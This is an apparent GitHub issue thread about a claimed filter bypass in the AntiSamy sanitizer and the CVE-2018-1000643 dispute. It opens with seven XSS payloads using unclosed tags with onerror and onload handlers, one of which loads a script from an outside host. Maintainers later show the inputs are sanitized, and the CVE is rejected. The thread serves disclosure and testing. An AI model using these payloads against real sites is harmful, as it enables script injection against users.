Filter Bypass

[karan-ramani]

Antisamy fails to filter (identify) 'HTML / HTML5 elements with events (onerror, onload, etc) when the tags are not closed with ">" character.
Modern browsers (tested with Firefox and Chrome) will autocomplete such tags and hence will execute the JavaScript leading to Cross-site Scripting - XSS

Example Payloads for better understanding -

1. <img src=# onerror=alert(0)//K7-onerror_attribute
2. <img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII= onload=alert(0)//K7-onload_attribute
3. <input type="image" src=# onerror=alert(0)//K7-works_for_other_html_n_html5_tags
4. <object data=# onerror=alert(0)//K7-FireFox_specific
5. <object data=# onload=alert(0)//K7-Chrome_specific
6. <script onerror=alert(0) onload=alert(1) src=http://xss.rocks/xss.js#K7-script_tag_works_under_specific_conditions
7. <svgonload=alert(0)//K7-SVG_special_char_variant

I have tested using both - SAX and DOM, found the payloads to execute.

Karan Ramani

[idvishal]

Hi, do we know when this issue will get fixed? Our security team has blocked the usage of antisamy 1.5.7 until this security vulnerability is fixed.

[jOphey]

Hi!
I'm also interested in a release with this issue fixed.

Thanks' in advance!

[efge]

Hi @nahsra, could you give us some visibility of what your plans are regarding this issue?
Thanks

[efge]

@karan-ramani could you expand on how you tested? I can't reproduce your issue. For instance adding this unit test in AntiSamyTest.java does not show a vulnerability:

@Test
public void testIssue32() throws ScanException, PolicyException {
    String test = "<img src=# onerror=alert(0) <b>foobar</b>";
    assertEquals("<img src=\"#\" />\n<b>foobar</b>", as.scan(test, policy, AntiSamy.DOM).getCleanHTML());
    assertEquals("<img src=\"#\" />\n<b>foobar</b>", as.scan(test, policy, AntiSamy.SAX).getCleanHTML());
}

[HaraldWalker]

@efge That is also what I see.
Antisamy (1.5.7) scan with
<img src=# onerror=alert(0) <b>foobar</b>
returns as clean hmtl:

<img src="#" />
<b>foobar</b>

With as clean result message:
The img tag contained an attribute that we could not process. The onerror attribute has been filtered out, but the tag is still in place. The value of the attribute was "alert(0)".

CVE-2018-1000643 is using this issue as reference.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000643

[idvishal]

Karan Ramani,

Can you please reply to comments above on how to reproduce this issue? Many are reporting that this issue is not reproducible. Your report has gone into CVE database causing lot of automated tools that check for open vulnerabilities on third party software to report this issue as potential risk.

[karan-ramani]

Can you guys use the following payload and report back the output..?

<img src=# onerror=alert(0)//

[efge]

@karan-ramani this gets sanitized to an empty string:

@Test
public void testIssue32() throws ScanException, PolicyException {
    String test = "<img src=# onerror=alert(0)//";
    assertEquals("", as.scan(test, policy, AntiSamy.DOM).getCleanHTML());
    assertEquals("", as.scan(test, policy, AntiSamy.SAX).getCleanHTML());
}

[efge]

@karan-ramani please explain how you did your initial tests that led to opening this issue.

[HaraldWalker]

@efge only in this case CleanResults getNumberOfErrors() is 0 and getErrorMessages() does not report anything despite actually finding something and cleaning it up.
I would expect an error count and message also in this case.

[idvishal]

@HaraldWalker So, this is just a bug in error reporting and not a security issue as such as suspicious tags/attributes are getting cleaned up. Do you agree that this is not a security issue as Karan-ramani has reported it to be?

@karan-ramani Can you please test again on ver 1.5.7 and let us know your results? If you see it cleaning the tags/attributes that could lead to XSS attacks, then request you to update your first post above so that CVE site can update its records about this being not XSS vulnerability.

[HaraldWalker]

@idvishal depends on how someone uses the scan feature. I guess most of us use getCleanHTML() anyhow and in that case so far we have not been presented a reproducible scenario.

But if someone would use it in a way where depending on errors reported it outputs the original html or the clean html, this corner case (single invalid/unclosed tag with javascript attributes) would then be a potential XSS issue.

[idvishal]

Thanks @HaraldWalker . We use getCleanHTML(), so we should be fine.

@karan-ramani if you can confirm once that you didn't encounter this issue with getCleanHTML(), that will be great!

[karan-ramani]

Thanks for explaining it @HaraldWalker

@idvishal yes you would ideally not encounter this issue if you use getCleanHTML().. issue is mainly with scan function.. scan function is useful to clean js making it ideal if you expect HTML in response. The application I tested was expecting a HTML text in response but without js to prevent script execution in browser.

I would suggest not to use antisamy anymore as it is not actively maintained and there might be possible bypasses that are not yet identified/disclosed..

[idvishal]

Thanks @karan-ramani. Can you please recommend the alternatives to antisamy? I see that OWASP HTML sanitizer is good but then the main issue is it works opposite to antisamy i.e. it blocks all HTML elements/attributes by default and you have to provide whitelist. So, that way it is not an easy switch for us.

[kwwall]

@idvishal If you want to use OWASP HTML Sanitizer, you may want to take a look at this:
ESAPI's src/main/java/org/owasp/esapi/reference/validation/HTMLSanitizerAntiSamyPolicy.java
from the unmerged kww-java-html-sanitizer branch of ESAPI. Mike Samuel, the primary author of OWASP HTML Sanitizer graciously created it for me way back when, based on ESAPI's antisamy-esapi.xml. It should get you most of the way there.

Reading through this thread and also inspecting the AntiSamy 1.5.7 code, I would suggest that CVE-2018-1000643 be closed or at least contested. At best, it is seriously misleading in the manner that it is written. The proper and expected use of AntiSamy in calling CleanResults.getCleanHTML() does not have this "vulnerability". Aside from possibly better documentation in AntiSamy's CleanResults class or overall AntiSamy documentation in NOT render the results of CleanResults.getErrorMessages() (which already really should be obvious based on its name), I don't see what how AntiSamy can do to prevent this. The fact that browsers do not follow W3C specifications and that developers might use AntiSamy improperly cannot be placed at the blame of AntiSamy. So in that regard, I believe that CVE-2018-1000643 is a false positive and needs to be closed or at least contested by the AntiSamy developers. In general, library providers cannot be responsible for misuse of their library when the documentation is clear. In this case, I think it is already clear enough, but I see no code fix hear that can address this. One major short-coming that I see is that @karan-ramani did not even specify what AntiSamy policy file was used nor, to my knowledge, was any specific PoC involved. Certainly one could construct a strawman AntiSamy policy file that would allow this sort of XSS described by the CVE, but again, I would put that on the developers using AntiSamy rather than on AntiSamy itself.

[gabor-farkas]

@idvishal I think it's a well drawn design decision to work with a whitelist and not a blacklist. When it comes to security, you have to be defensive. You cannot possibly foresee what vulnerabilities come with brand-new html elements. So yes, when new html elements appear and you wish to use them, you have to update your antisamy policy files. You cannot have security without having to maintain your application.

[HaraldWalker]

H. Blankenship of the OWASP Foundation confirmed to me that this project is inactive and needs a new project leader.

[nahsra]

It does need new leadership. I'd kill for a new maintainer. It's not too much work. People aren't clamoring for new features.

That being said, I agree with @kwwall on this issue. The getErrorMessages() API is not for security. The of act of deserializing arbitrary content into a structure will definitely cause some attacks based on incomplete markup to be filtered out, but there's no way to report them as they happen in the innards of another library. This is a false positive and the project will dispute the CVE.

[roricolivares]

Whats the status on this? Seems like the CVE is still open https://www.cvedetails.com/cve/CVE-2018-1000643/

[davewichers]

I've volunteered to help @nahsra maintain antisamy. I'm working on the 1.5.8. release now, including upgrades to the known vulnerable libraries. I've also asked MITRE to close this CVE (however they do that), but no response from them as of Apr 9, 2019).

[davewichers]

Hi, @idvishal and @roricolivares "do we know when this issue will get fixed? Our security team has blocked the usage of antisamy 1.5.7 until this security vulnerability is fixed." The issue is now marked as DISPUTED in the CVE, and I'm working with them to get it to REJECTED status. I might have to convince the person who requested the CVE to request it be rescinded. Do we know who requested it be created?

[davewichers]

The CVE opened for this has now been REJECTED: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000643. As such, SCA tools should stop flagging Antisamy with this non-issue.

[goshantmeher]

i have similar kind of problem,
added directive:
input: "hello <hi dgdf"
output : "hello"
is there any way that i get the ouput same as input in this case.: "hello <hi dgdf"

[efge]

You question is not related to the original issue, and this issue is closed. Please open a new issue.

[sreeharshamunagala]

i have similar kind of problem,
added directive:
input: "hello <hi dgdf"
output : "hello"
is there any way that i get the ouput same as input in this case.: "hello <hi dgdf"

Hi Did you find any solution for this? Or it is fixed any latest versions?

[kwwall]

Way back on 2019-04-19, @davewichers wrote (emphasis mine):

The CVE opened for this has now been REJECTED: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000643. As such, SCA tools should stop flagging Antisamy with this non-issue.

Unfortunately, that's not true for all SCA tools. Both Sonatype Lift and Sonatype NexusIQ are popular SCA tools that still report this. I even had our product support team at $dayjob report this as a bug in NexusIQ and Sonatype essentially came back with the "it's not a bug, it's a feature" line and told us we should use waivers for these REJECTED CVEs.

[kwwall]

Also, since I happen to be here and am commenting on this closed issue anyway, I think an important point needs to be made here. HTML sanitization, such as what AntiSamy performs (and I'm including CSS and JavaScript in that 'HTML'), is really intended as a defense-in-depth measure and there is no guarantee that it is fool-proof, in part because way too many browsers are too liberal in what they accept (Postel's Law).

Working around such potentially unhealthy browser behavior (even if it is deliberate and well-intentioned), is an extremely difficult process. It is difficult because every browser version behaves slightly differently and it is aiming at moving target (rather than something more stable, such as the W3C HTML specifications).

Attempting such browser bug workarounds would greatly add to the complexity of AntiSamy and as a result, the number of bugs it has as well as likely some measurable performance hit. So, if you want a "safe harbor", rely on other approaches such as doing your own application context-specific input data validation, appropriate contextual output encoding, and appropriate use of CSP headers tuned to your specific application. AntiSamy is not a silver bullet in slaying the XSS werewolf. In fact, as I've recently written, there is no silver bullet in XSS defense.

In short, security libraries need to make reasonable tradeoffs, but ultimately the responsibility for dealing with vulnerabilities in browsers--should that be a concern--needs to be the responsibility of the application developer and not the library developers that application happens to be using, It's not rocket science to compare the User-Agent request header against an allow-list of browsers that you are willing to accept and reject all others that have such bugs that give you concerns with an error message that their browser is unsupported.